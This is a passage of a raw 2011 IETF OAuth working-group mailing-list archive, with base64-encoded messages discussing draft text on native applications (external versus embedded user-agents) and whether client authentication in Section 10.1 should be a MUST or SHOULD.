di0yMDA5MzgxNTQxbXNvaHlwZXJsaW5rDQoJe21zby1zdHlsZS1uYW1lOnlpdi0yMDA5MzgxNTQx bXNvaHlwZXJsaW5rO30NCnNwYW4ueWl2LTIwMDkzODE1NDFtc29oeXBlcmxpbmtmb2xsb3dlZA0K CXttc28tc3R5bGUtbmFtZTp5aXYtMjAwOTM4MTU0MW1zb2h5cGVybGlua2ZvbGxvd2VkO30NCnNw YW4ueWl2LTIwMDkzODE1NDFlbWFpbHN0eWxlMTcNCgl7bXNvLXN0eWxlLW5hbWU6eWl2LTIwMDkz ODE1NDFlbWFpbHN0eWxlMTc7fQ0Kc3Bhbi55aXYtMjAwOTM4MTU0MW1zb2h5cGVybGluazENCgl7 bXNvLXN0eWxlLW5hbWU6eWl2LTIwMDkzODE1NDFtc29oeXBlcmxpbmsxOw0KCWNvbG9yOmJsdWU7 DQoJdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTt9DQpzcGFuLnlpdi0yMDA5MzgxNTQxbXNvaHlw ZXJsaW5rZm9sbG93ZWQxDQoJe21zby1zdHlsZS1uYW1lOnlpdi0yMDA5MzgxNTQxbXNvaHlwZXJs aW5rZm9sbG93ZWQxOw0KCWNvbG9yOnB1cnBsZTsNCgl0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5l O30NCnNwYW4ueWl2LTIwMDkzODE1NDFlbWFpbHN0eWxlMTcxDQoJe21zby1zdHlsZS1uYW1lOnlp di0yMDA5MzgxNTQxZW1haWxzdHlsZTE3MTsNCglmb250LWZhbWlseToiQXJpYWwiLCJzYW5zLXNl cmlmIjsNCgljb2xvcjp3aW5kb3d0ZXh0O30NCnNwYW4uRW1haWxTdHlsZTI5DQoJe21zby1zdHls ZS10eXBlOnBlcnNvbmFsOw0KCWZvbnQtZmFtaWx5OiJDYWxpYnJpIiwic2Fucy1zZXJpZiI7DQoJ Y29sb3I6IzFGNDk3RDt9DQpzcGFuLkVtYWlsU3R5bGUzMA0KCXttc28tc3R5bGUtdHlwZTpwZXJz b25hbC1yZXBseTsNCglmb250LWZhbWlseToiQ2FsaWJyaSIsInNhbnMtc2VyaWYiOw0KCWNvbG9y OiMxRjQ5N0Q7fQ0KLk1zb0NocERlZmF1bHQNCgl7bXNvLXN0eWxlLXR5cGU6ZXhwb3J0LW9ubHk7 DQoJZm9udC1zaXplOjEwLjBwdDt9DQpAcGFnZSBXb3JkU2VjdGlvbjENCgl7c2l6ZTo4LjVpbiAx MS4waW47DQoJbWFyZ2luOjEuMGluIDEuMGluIDEuMGluIDEuMGluO30NCmRpdi5Xb3JkU2VjdGlv bjENCgl7cGFnZTpXb3JkU2VjdGlvbjE7fQ0KLS0+PC9zdHlsZT48IS0tW2lmIGd0ZSBtc28gOV0+ PHhtbD4NCjxvOnNoYXBlZGVmYXVsdHMgdjpleHQ9ImVkaXQiIHNwaWRtYXg9IjEwMjYiIC8+DQo8 L3htbD48IVtlbmRpZl0tLT48IS0tW2lmIGd0ZSBtc28gOV0+PHhtbD4NCjxvOnNoYXBlbGF5b3V0 IHY6ZXh0PSJlZGl0Ij4NCjxvOmlkbWFwIHY6ZXh0PSJlZGl0IiBkYXRhPSIxIiAvPg0KPC9vOnNo YXBlbGF5b3V0PjwveG1sPjwhW2VuZGlmXS0tPjwvaGVhZD48Ym9keSBsYW5nPUVOLVVTIGxpbms9 Ymx1ZSB2bGluaz1wdXJwbGU+PGRpdiBjbGFzcz1Xb3JkU2VjdGlvbjE+PHAgY2xhc3M9TXNvTm9y bWFsPjxzcGFuIHN0eWxlPSdmb250LXNpemU6MTEuMHB0O2ZvbnQtZmFtaWx5OiJDYWxpYnJpIiwi c2Fucy1zZXJpZiI7Y29sb3I6IzFGNDk3RCc+V2hhdCBpcyDigJhtb25pdG9yaW5nIGh0dHAgaGVh ZGVyc+KAmT88bzpwPjwvbzpwPjwvc3Bhbj48L3A+PHAgY2xhc3M9TXNvTm9ybWFsPjxzcGFuIHN0 eWxlPSdmb250LXNpemU6MTEuMHB0O2ZvbnQtZmFtaWx5OiJDYWxpYnJpIiwic2Fucy1zZXJpZiI7 Y29sb3I6IzFGNDk3RCc+PG86cD4mbmJzcDs8L286cD48L3NwYW4+PC9wPjxwIGNsYXNzPU1zb05v cm1hbD48c3BhbiBzdHlsZT0nZm9udC1zaXplOjExLjBwdDtmb250LWZhbWlseToiQ2FsaWJyaSIs InNhbnMtc2VyaWYiO2NvbG9yOiMxRjQ5N0QnPkVITDxvOnA+PC9vOnA+PC9zcGFuPjwvcD48cCBj bGFzcz1Nc29Ob3JtYWw+PHNwYW4gc3R5bGU9J2ZvbnQtc2l6ZToxMS4wcHQ7Zm9udC1mYW1pbHk6 IkNhbGlicmkiLCJzYW5zLXNlcmlmIjtjb2xvcjojMUY0OTdEJz48bzpwPiZuYnNwOzwvbzpwPjwv c3Bhbj48L3A+PGRpdiBzdHlsZT0nYm9yZGVyOm5vbmU7Ym9yZGVyLWxlZnQ6c29saWQgYmx1ZSAx LjVwdDtwYWRkaW5nOjBpbiAwaW4gMGluIDQuMHB0Jz48ZGl2PjxkaXY+PGRpdj48ZGl2IGNsYXNz PU1zb05vcm1hbCBhbGlnbj1jZW50ZXIgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyO2JhY2tncm91 bmQ6d2hpdGUnPjxzcGFuIHN0eWxlPSdmb250LXNpemU6MTAuMHB0O2ZvbnQtZmFtaWx5OiJBcmlh bCIsInNhbnMtc2VyaWYiO2NvbG9yOmJsYWNrJz48aHIgc2l6ZT0xIHdpZHRoPSIxMDAlIiBhbGln bj1jZW50ZXI+PC9zcGFuPjwvZGl2PjxwIGNsYXNzPU1zb05vcm1hbCBzdHlsZT0nbWFyZ2luLWJv dHRvbToxMi4wcHQ7YmFja2dyb3VuZDp3aGl0ZSc+PGI+PHNwYW4gc3R5bGU9J2ZvbnQtc2l6ZTox MC4wcHQ7Zm9udC1mYW1pbHk6IkFyaWFsIiwic2Fucy1zZXJpZiI7Y29sb3I6YmxhY2snPkZyb206 PC9zcGFuPjwvYj48c3BhbiBzdHlsZT0nZm9udC1zaXplOjEwLjBwdDtmb250LWZhbWlseToiQXJp YWwiLCJzYW5zLXNlcmlmIjtjb2xvcjpibGFjayc+IEFudGhvbnkgTmFkYWxpbiAmbHQ7PC9zcGFu PjxhIGhyZWY9Im1haWx0bzp0b255bmFkQG1pY3Jvc29mdC5jb20iPjxzcGFuIHN0eWxlPSdmb250 LXNpemU6MTAuMHB0O2ZvbnQtZmFtaWx5OiJBcmlhbCIsInNhbnMtc2VyaWYiJz50b255bmFkQG1p Y3Jvc29mdC5jb208L3NwYW4+PC9hPjxzcGFuIHN0eWxlPSdmb250LXNpemU6MTAuMHB0O2ZvbnQt ZmFtaWx5OiJBcmlhbCIsInNhbnMtc2VyaWYiO2NvbG9yOmJsYWNrJz4mZ3Q7PGJyPjxiPlRvOjwv Yj4gJnF1b3Q7T0F1dGggV0cgKDwvc3Bhbj48YSBocmVmPSJtYWlsdG86b2F1dGhAaWV0Zi5vcmci PjxzcGFuIHN0eWxlPSdmb250LXNpemU6MTAuMHB0O2ZvbnQtZmFtaWx5OiJBcmlhbCIsInNhbnMt c2VyaWYiJz5vYXV0aEBpZXRmLm9yZzwvc3Bhbj48L2E+PHNwYW4gc3R5bGU9J2ZvbnQtc2l6ZTox MC4wcHQ7Zm9udC1mYW1pbHk6IkFyaWFsIiwic2Fucy1zZXJpZiI7Y29sb3I6YmxhY2snPikmcXVv dDsgJmx0Ozwvc3Bhbj48YSBocmVmPSJtYWlsdG86b2F1dGhAaWV0Zi5vcmciPjxzcGFuIHN0eWxl PSdmb250LXNpemU6MTAuMHB0O2ZvbnQtZmFtaWx5OiJBcmlhbCIsInNhbnMtc2VyaWYiJz5vYXV0 aEBpZXRmLm9yZzwvc3Bhbj48L2E+PHNwYW4gc3R5bGU9J2ZvbnQtc2l6ZToxMC4wcHQ7Zm9udC1m YW1pbHk6IkFyaWFsIiwic2Fucy1zZXJpZiI7Y29sb3I6YmxhY2snPiZndDs8YnI+PGI+U2VudDo8 L2I+IFR1ZXNkYXksIEp1bmUgMjgsIDIwMTEgNjoxNSBQTTxicj48Yj5TdWJqZWN0OjwvYj4gW09B VVRILVdHXSBOYXRpdmUgQXBwbGljYXRpb24gVGV4dDwvc3Bhbj48c3BhbiBzdHlsZT0nY29sb3I6 YmxhY2snPjxvOnA+PC9vOnA+PC9zcGFuPjwvcD48ZGl2PjxkaXYgc3R5bGU9J21hcmdpbi1ib3R0 b206MTIuMHB0Jz48cCBjbGFzcz1Nc29Ob3JtYWwgc3R5bGU9J2JhY2tncm91bmQ6d2hpdGUnPjxz cGFuIHN0eWxlPSdmb250LXNpemU6MTEuMHB0O2NvbG9yOmJsYWNrJz45LiBOYXRpdmUgQXBwbGlj YXRpb25zPGJyPjxicj5BIG5hdGl2ZSBhcHBsaWNhdGlvbiBpcyBhIGNsaWVudCB3aGljaCBpcyBp bnN0YWxsZWQgYW5kIGV4ZWN1dGVzIG9uIHRoZSBlbmQtdXNlcidzIGRldmljZSAoaS5lLiBkZXNr dG9wIGFwcGxpY2F0aW9uLCBuYXRpdmUgbW9iaWxlIGFwcGxpY2F0aW9uLCBldGMuKS4gJm5ic3A7 TmF0aXZlIGFwcGxpY2F0aW9ucyBtYXkgcmVxdWlyZSBzcGVjaWFsIGNvbnNpZGVyYXRpb24gcmVs YXRlZCB0byBzZWN1cml0eSwgcGxhdGZvcm0gY2FwYWJpbGl0aWVzLCBhbmQgb3ZlcmFsbCBlbmQt dXNlciBleHBlcmllbmNlLiAmbmJzcDtUaGUgZm9sbG93aW5nIGFyZSBleGFtcGxlcyBvZiBob3cg bmF0aXZlIGFwcGxpY2F0aW9ucyBtYXkgdXRpbGl6ZSBPQXV0aDo8YnI+PGJyPiZuYnNwOyZuYnNw OyZuYnNwO28gJm5ic3A7SW5pdGlhdGUgYW4gQXV0aG9yaXphdGlvbiBSZXF1ZXN0IHVzaW5nIGFu IGV4dGVybmFsIHVzZXItYWdlbnQ6IFRoZSBuYXRpdmUgYXBwbGljYXRpb24gY2FuIGNhcHR1cmUg dGhlIHJlc3BvbnNlIGZyb20gdGhlIGF1dGhvcml6YXRpb24gc2VydmVyIHVzaW5nIGEgdmFyaWV0 eSBvZiB0ZWNobmlxdWVzIHN1Y2ggYXMgdGhlIHVzZSBvZiB0aGUgdmFyaW91cyBtZXRob2RzIGZv ciByZWRpcmVjdGlvbiBpbmNsdWRpbmcgYSBVUkkgaWRlbnRpZnlpbmcgYSBjdXN0b20gVVJJIHNj aGVtZSAocmVnaXN0ZXJlZCB3aXRoIHRoZSBvcGVyYXRpbmcgc3lzdGVtIHRvIGludm9rZSB0aGUg bmF0aXZlIGFwcGxpY2F0aW9uIGFzIGhhbmRsZXIpLCBtYW51YWwgY29weS1hbmQtcGFzdGUsIHJ1 bm5pbmcgYSBsb2NhbCB3ZWJzZXJ2ZXIsIGJyb3dzZXIgcGx1Zy1pbnMsIG9yIGJ5IHByb3ZpZGlu ZyBhIHJlZGlyZWN0aW9uIFVSSSBpZGVudGlmeWluZyBhIHNlcnZlci1ob3N0ZWQgcmVzb3VyY2Ug dW5kZXIgdGhlIG5hdGl2ZSBhcHBsaWNhdGlvbidzIGNvbnRyb2wsIHdoaWNoIGluIHR1cm4gbWFr ZXMgdGhlIHJlc3BvbnNlIGF2YWlsYWJsZSB0byB0aGUgbmF0aXZlIGFwcGxpY2F0aW9uLjxicj4m bmJzcDsmbmJzcDsmbmJzcDtvICZuYnNwO0luaXRpYXRlIGFuIEF1dGhvcml6YXRpb24gUmVxdWVz dCB1c2luZyBhbiBlbWJlZGRlZCB1c2VyLWFnZW50OiAmbmJzcDtUaGUgbmF0aXZlIGFwcGxpY2F0 aW9uIG9idGFpbnMgdGhlIHJlc3BvbnNlIGJ5IGRpcmVjdGx5IGNvbW11bmljYXRpbmcgd2l0aCB0 aGUgZW1iZWRkZWQgdXNlci1hZ2VudC4gJm5ic3A7VGVjaG5pcXVlcyBpbmNsdWRlIG1vbml0b3Jp bmcgc3RhdGUgY2hhbmdlcyBlbWl0dGVkIGR1cmluZyBVUkwgbG9hZGluZywgbW9uaXRvcmluZyBo dHRwIGhlYWRlcnMsIGFjY2Vzc2luZyB0aGUgdXNlci1hZ2VudCdzIGNvb2tpZSBqYXIsIGV0Yy48 YnI+PGJyPldoZW4gY2hvb3NpbmcgYmV0d2VlbiBsYXVuY2hpbmcgYW4gZXh0ZXJuYWwgdXNlci1h Z2VudCBhbmQgYW4gZW1iZWRkZWQgdXNlci1hZ2VudCwgbmF0aXZlIGFwcGxpY2F0aW9uIGRldmVs b3BlcnMgc2hvdWxkIGNvbnNpZGVyIHRoZSBmb2xsb3dpbmc6PGJyPjxicj4mbmJzcDsmbmJzcDsm bmJzcDtvICZuYnNwO0V4dGVybmFsIHVzZXItYWdlbnRzIG1heSBpbXByb3ZlIGNvbXBsZXRpb24g cmF0ZSBhcyB0aGUgZW5kLXVzZXIgbWF5IGFscmVhZHkgaGF2ZSBhbiBhY3RpdmUgc2Vzc2lvbiB3 aXRoIHRoZSBhdXRob3JpemF0aW9uIHNlcnZlciByZW1vdmluZyB0aGUgbmVlZCB0byByZS1hdXRo ZW50aWNhdGUsIGFuZCBwcm92aWRlIGEgZmFtaWxpYXIgdXNlci1hZ2VudCB1c2VyIGV4cGVyaWVu Y2UgYW5kIGZ1bmN0aW9uYWxpdHkuICZuYnNwO1RoZSBlbmQtdXNlciBtYXkgYWxzbyByZWx5IG9u IGV4dGVuc2lvbnMgb3IgYWRkLW9ucyB0byBhc3Npc3Qgd2l0aCBhdXRoZW50aWNhdGlvbiAoZS5n LiBwYXNzd29yZCBtYW5hZ2VycyBvciAyLWZhY3RvciBkZXZpY2UgcmVhZGVyKS48YnI+Jm5ic3A7 Jm5ic3A7Jm5ic3A7byAmbmJzcDtFbWJlZGRlZCB1c2VyLWFnZW50cyBtYXkgb2ZmZXIgYW4gaW1w cm92ZWQgZW5kLXVzZXIgZmxvdywgYXMgdGhleSByZW1vdmUgdGhlIG5lZWQgdG8gc3dpdGNoIGNv bnRleHQgYW5kIG9wZW4gbmV3IHdpbmRvd3MuJm5ic3A7PGJyPiZuYnNwOyZuYnNwOyZuYnNwO28g Jm5ic3A7RW1iZWRkZWQgdXNlci1hZ2VudHMgcG9zZSBhIHNlY3VyaXR5IGNoYWxsZW5nZSBiZWNh dXNlIGVuZC11c2VycyBhcmUgYXV0aGVudGljYXRpbmcgaW4gYW4gdW5pZGVudGlmaWVkIHdpbmRv dyB3aXRob3V0IGFjY2VzcyB0byB0aGUgdmlzdWFsIHByb3RlY3Rpb25zIGZvdW5kIG9uIGJ5IG1h bnkgb2YgdGhlIGV4dGVybmFsIHVzZXItYWdlbnRzLiAmbmJzcDtFbWJlZGRlZCB1c2VyLWFnZW50 cyBlZHVjYXRlIGVuZC11c2VyIHRvIHRydXN0IHVuaWRlbnRpZmllZCByZXF1ZXN0cyBmb3IgYXV0 aGVudGljYXRpb24gKG1ha2luZyBwaGlzaGluZyBhdHRhY2tzIGVhc2llciB0byBleGVjdXRlKS48 YnI+PGJyPldoZW4gY2hvb3NpbmcgYmV0d2VlbiBpbXBsaWNpdCBhbmQgYXV0aG9yaXphdGlvbiBj b2RlIGdyYW50IHR5cGVzLCB0aGUgZm9sbG93aW5nIHNob3VsZCBiZSBjb25zaWRlcmVkOjxicj48 YnI+Jm5ic3A7Jm5ic3A7Jm5ic3A7byAmbmJzcDtOYXRpdmUgYXBwbGljYXRpb25zIHRoYXQgdXNl IHRoZSBhdXRob3JpemF0aW9uIGNvZGUgZ3JhbnQgdHlwZSBmbG93IFNIT1VMRCBkbyBzbyB3aXRo b3V0IHVzaW5nIGNsaWVudCBwYXNzd29yZCBjcmVkZW50aWFscywgZHVlIHRvIHRoZSBuYXRpdmUg YXBwbGljYXRpb27igJlzIGluYWJpbGl0eSB0byBrZWVwIHRob3NlIGNyZWRlbnRpYWxzIHNlY3Vy ZS48YnI+Jm5ic3A7Jm5ic3A7Jm5ic3A7byAmbmJzcDtXaGVuIHVzaW5nIHRoZSBpbXBsaWNpdCBn cmFudCB0eXBlIGZsb3cgYSByZWZyZXNoIHRva2VuIGlzIG5vdCByZXR1cm5lZCAmbmJzcDs8L3Nw YW4+PHNwYW4gc3R5bGU9J2NvbG9yOmJsYWNrJz48bzpwPjwvbzpwPjwvc3Bhbj48L3A+PC9kaXY+ PGRpdj48cCBjbGFzcz1Nc29Ob3JtYWwgc3R5bGU9J2JhY2tncm91bmQ6d2hpdGUnPjxzcGFuIHN0 eWxlPSdmb250LXNpemU6MTEuMHB0Jz4mbmJzcDs8L3NwYW4+PHNwYW4gc3R5bGU9J2NvbG9yOmJs YWNrJz48bzpwPjwvbzpwPjwvc3Bhbj48L3A+PC9kaXY+PC9kaXY+PHAgY2xhc3M9TXNvTm9ybWFs IHN0eWxlPSdtYXJnaW4tYm90dG9tOjEyLjBwdDtiYWNrZ3JvdW5kOndoaXRlJz48c3BhbiBzdHls ZT0nY29sb3I6YmxhY2snPjxicj5fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fXzxicj5PQXV0aCBtYWlsaW5nIGxpc3Q8YnI+PC9zcGFuPjxhIGhyZWY9Im1haWx0 bzpPQXV0aEBpZXRmLm9yZyI+T0F1dGhAaWV0Zi5vcmc8L2E+PHNwYW4gc3R5bGU9J2NvbG9yOmJs YWNrJz48YnI+PC9zcGFuPjxhIGhyZWY9Imh0dHBzOi8vd3d3LmlldGYub3JnL21haWxtYW4vbGlz dGluZm8vb2F1dGgiIHRhcmdldD0iX2JsYW5rIj5odHRwczovL3d3dy5pZXRmLm9yZy9tYWlsbWFu L2xpc3RpbmZvL29hdXRoPC9hPjxzcGFuIHN0eWxlPSdjb2xvcjpibGFjayc+PG86cD48L286cD48 L3NwYW4+PC9wPjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2PjwvYm9keT48L2h0bWw+ --_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FF78P3PW5EX1MB01E_-- From eran@hueniverse.com Thu Jul 7 21:57:51 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 25E6521F8910 for ; Thu, 7 Jul 2011 21:57:51 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.662 X-Spam-Level: X-Spam-Status: No, score=-2.662 tagged_above=-999 required=5 tests=[AWL=-0.064, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id cdvVeq0PAQ9Z for ; Thu, 7 Jul 2011 21:57:50 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 29D4621F890C for ; Thu, 7 Jul 2011 21:57:47 -0700 (PDT) Received: (qmail 7849 invoked from network); 8 Jul 2011 04:51:06 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 8 Jul 2011 04:51:05 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Thu, 7 Jul 2011 21:51:05 -0700 From: Eran Hammer-Lahav To: Torsten Lodderstedt , OAuth WG Date: Thu, 7 Jul 2011 21:51:01 -0700 Thread-Topic: Section 10.1 (Client authentication) Thread-Index: Acw7sRcFyrfjKkfsQZmZY52Llzi9OABeUWEg Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D49FF7C@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FF7CP3PW5EX1MB01E_" MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Section 10.1 (Client authentication) X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 08 Jul 2011 04:57:51 -0000 --_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FF7CP3PW5EX1MB01E_ Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 SSBzdGlsbCBkb27igJl0IGZpbmQgaXQgdXNlZnVsLiBJIHRoaW5rIHRoZSBleGlzdGluZyB0ZXh0 IG92ZXJhbGwgbWFrZXMgdGhpcyBwb2ludCBhbHJlYWR5Lg0KDQpFSEwNCg0KRnJvbTogVG9yc3Rl biBMb2RkZXJzdGVkdCBbbWFpbHRvOnRvcnN0ZW5AbG9kZGVyc3RlZHQubmV0XQ0KU2VudDogV2Vk bmVzZGF5LCBKdWx5IDA2LCAyMDExIDEyOjQ4IEFNDQpUbzogRXJhbiBIYW1tZXItTGFoYXY7IE9B dXRoIFdHDQpTdWJqZWN0OiBSZTogU2VjdGlvbiAxMC4xIChDbGllbnQgYXV0aGVudGljYXRpb24p DQoNCkhpIEVyYW4sDQoNCkkgd291bGQgc3VnZ2VzdCB0byBjaGFuZ2UgaXQgdG8gU0hPVUxEIGFu ZCBhZGQgYSByZWZlcmVuY2UgdG8gaHR0cHM6Ly90b29scy5pZXRmLm9yZy9odG1sL2RyYWZ0LWll dGYtb2F1dGgtdjItdGhyZWF0bW9kZWwtMDAgc2VjdGlvbnMgMy43IGFuZCA1LjIuMy4NCg0KcmVn YXJkcywNClRvcnN0ZW4uDQoNCg0KRXJhbiBIYW1tZXItTGFoYXYgPGVyYW5AaHVlbml2ZXJzZS5j b208bWFpbHRvOmVyYW5AaHVlbml2ZXJzZS5jb20+PiBzY2hyaWViOg0KSXQncyBhIHBvaW50bGVz cyBNVVNUIGdpdmVuIGhvdyB1bmRlZmluZWQgdGhlIHJlcXVpcmVtZW50cyBhcmUuIEl0IHdpbGwg b25seSBiZSB1bmRlcnN0b29kIGJ5IHNlY3VyaXR5IGV4cGVydHMgYW5kIHRoZXkgZG9uJ3QgcmVh bGx5IG5lZWQgaXQuIEF0IGEgbWluaW11bSwgaXQgbmVlZHMgc29tZSBleGFtcGxlcy4NCg0KRUhM DQoNCkZyb206IFRvcnN0ZW4gTG9kZGVyc3RlZHQgPHRvcnN0ZW5AbG9kZGVyc3RlZHQubmV0PG1h aWx0bzp0b3JzdGVuQGxvZGRlcnN0ZWR0Lm5ldD4+DQpEYXRlOiBXZWQsIDEgSnVuIDIwMTEgMDA6 NTM6MzcgLTA3MDANClRvOiBFcmFuIEhhbW1lci1sYWhhdiA8ZXJhbkBodWVuaXZlcnNlLmNvbTxt YWlsdG86ZXJhbkBodWVuaXZlcnNlLmNvbT4+LCBPQXV0aCBXRyA8b2F1dGhAaWV0Zi5vcmc8bWFp bHRvOm9hdXRoQGlldGYub3JnPj4NClN1YmplY3Q6IFNlY3Rpb24gMTAuMSAoQ2xpZW50IGF1dGhl bnRpY2F0aW9uKQ0KDQpIaSBFcmFuLA0KDQp3b3VsZCB5b3UgcGxlYXNlIGFkZCB0aGUgZm9sbG93 aW5nIHNlbnRlbmNlICh3aGljaCB3YXMgY29udGFpbmVkIGluIHRoZQ0Kb3JpZ2luYWwgc2VjdXJp dHkgY29uc2lkZXJhdGlvbnMgdGV4dCkgdG8gdGhlIHNlY29uZCBwYXJhZ3JhcGggb2YNCnNlY3Rp b24gMS4wLjE/DQoNCkFsdGVybmF0aXZlbHksIGF1dGhvcml6YXRpb24gc2VydmVycyBNVVNUIHV0 aWxpemUNCiAgICBvdGhlciBtZWFucyB0aGFuIGNsaWVudCBhdXRoZW50aWNhdGlvbiB0byBhY2hp ZXZlIHRoZWlyIHNlY3VyaXR5DQogICAgb2JqZWN0aXZlcy4NCg0KDQpJIHRoaW5rIGl0J3MgaW1w b3J0YW50IHRvIHN0YXRlIHRoYXQgYXV0aG9yaXphdGlvbiBzZXJ2ZXIgc2hvdWxkDQpjb25zaWRl ciBhbHRlcm5hdGl2ZSB3YXkgdG8gdmFsaWRhdGUgdGhlIGNsaWVudCBpZGVudGl0eSBpZiBzZWNy ZXRzDQpjYW5ub3QgYmUgdXNlZC4gVGhlIHNlY3VyaXR5IHRocmVhdCBkb2N1bWVudCBhbHNvIHN1 Z2dlc3Qgc29tZS4NCg0KcmVnYXJkcywNClRvcnN0ZW4uDQoNCg0KDQo= --_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FF7CP3PW5EX1MB01E_ Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: base64 PGh0bWwgeG1sbnM6dj0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTp2bWwiIHhtbG5zOm89InVy bjpzY2hlbWFzLW1pY3Jvc29mdC1jb206b2ZmaWNlOm9mZmljZSIgeG1sbnM6dz0idXJuOnNjaGVt YXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6d29yZCIgeG1sbnM6bT0iaHR0cDovL3NjaGVtYXMubWlj cm9zb2Z0LmNvbS9vZmZpY2UvMjAwNC8xMi9vbW1sIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv VFIvUkVDLWh0bWw0MCI+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj1Db250ZW50LVR5cGUgY29udGVu dD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij48bWV0YSBuYW1lPUdlbmVyYXRvciBjb250ZW50 PSJNaWNyb3NvZnQgV29yZCAxNCAoZmlsdGVyZWQgbWVkaXVtKSI+PHN0eWxlPjwhLS0NCi8qIEZv bnQgRGVmaW5pdGlvbnMgKi8NCkBmb250LWZhY2UNCgl7Zm9udC1mYW1pbHk6Q2FsaWJyaTsNCglw YW5vc2UtMToyIDE1IDUgMiAyIDIgNCAzIDIgNDt9DQpAZm9udC1mYWNlDQoJe2ZvbnQtZmFtaWx5 OlRhaG9tYTsNCglwYW5vc2UtMToyIDExIDYgNCAzIDUgNCA0IDIgNDt9DQovKiBTdHlsZSBEZWZp bml0aW9ucyAqLw0KcC5Nc29Ob3JtYWwsIGxpLk1zb05vcm1hbCwgZGl2Lk1zb05vcm1hbA0KCXtt YXJnaW46MGluOw0KCW1hcmdpbi1ib3R0b206LjAwMDFwdDsNCglmb250LXNpemU6MTIuMHB0Ow0K CWZvbnQtZmFtaWx5OiJUaW1lcyBOZXcgUm9tYW4iLCJzZXJpZiI7fQ0KYTpsaW5rLCBzcGFuLk1z b0h5cGVybGluaw0KCXttc28tc3R5bGUtcHJpb3JpdHk6OTk7DQoJY29sb3I6Ymx1ZTsNCgl0ZXh0 LWRlY29yYXRpb246dW5kZXJsaW5lO30NCmE6dmlzaXRlZCwgc3Bhbi5Nc29IeXBlcmxpbmtGb2xs b3dlZA0KCXttc28tc3R5bGUtcHJpb3JpdHk6OTk7DQoJY29sb3I6cHVycGxlOw0KCXRleHQtZGVj b3JhdGlvbjp1bmRlcmxpbmU7fQ0KcC5Nc29BY2V0YXRlLCBsaS5Nc29BY2V0YXRlLCBkaXYuTXNv QWNldGF0ZQ0KCXttc28tc3R5bGUtcHJpb3JpdHk6OTk7DQoJbXNvLXN0eWxlLWxpbms6IkJhbGxv b24gVGV4dCBDaGFyIjsNCgltYXJnaW46MGluOw0KCW1hcmdpbi1ib3R0b206LjAwMDFwdDsNCglm b250LXNpemU6OC4wcHQ7DQoJZm9udC1mYW1pbHk6IlRhaG9tYSIsInNhbnMtc2VyaWYiO30NCnNw YW4uRW1haWxTdHlsZTE3DQoJe21zby1zdHlsZS10eXBlOnBlcnNvbmFsLXJlcGx5Ow0KCWZvbnQt ZmFtaWx5OiJDYWxpYnJpIiwic2Fucy1zZXJpZiI7DQoJY29sb3I6IzFGNDk3RDt9DQpzcGFuLkJh bGxvb25UZXh0Q2hhcg0KCXttc28tc3R5bGUtbmFtZToiQmFsbG9vbiBUZXh0IENoYXIiOw0KCW1z by1zdHlsZS1wcmlvcml0eTo5OTsNCgltc28tc3R5bGUtbGluazoiQmFsbG9vbiBUZXh0IjsNCglm b250LWZhbWlseToiVGFob21hIiwic2Fucy1zZXJpZiI7fQ0KLk1zb0NocERlZmF1bHQNCgl7bXNv LXN0eWxlLXR5cGU6ZXhwb3J0LW9ubHk7DQoJZm9udC1zaXplOjEwLjBwdDt9DQpAcGFnZSBXb3Jk U2VjdGlvbjENCgl7c2l6ZTo4LjVpbiAxMS4waW47DQoJbWFyZ2luOjEuMGluIDEuMGluIDEuMGlu IDEuMGluO30NCmRpdi5Xb3JkU2VjdGlvbjENCgl7cGFnZTpXb3JkU2VjdGlvbjE7fQ0KLS0+PC9z dHlsZT48IS0tW2lmIGd0ZSBtc28gOV0+PHhtbD4NCjxvOnNoYXBlZGVmYXVsdHMgdjpleHQ9ImVk aXQiIHNwaWRtYXg9IjEwMjYiIC8+DQo8L3htbD48IVtlbmRpZl0tLT48IS0tW2lmIGd0ZSBtc28g OV0+PHhtbD4NCjxvOnNoYXBlbGF5b3V0IHY6ZXh0PSJlZGl0Ij4NCjxvOmlkbWFwIHY6ZXh0PSJl ZGl0IiBkYXRhPSIxIiAvPg0KPC9vOnNoYXBlbGF5b3V0PjwveG1sPjwhW2VuZGlmXS0tPjwvaGVh 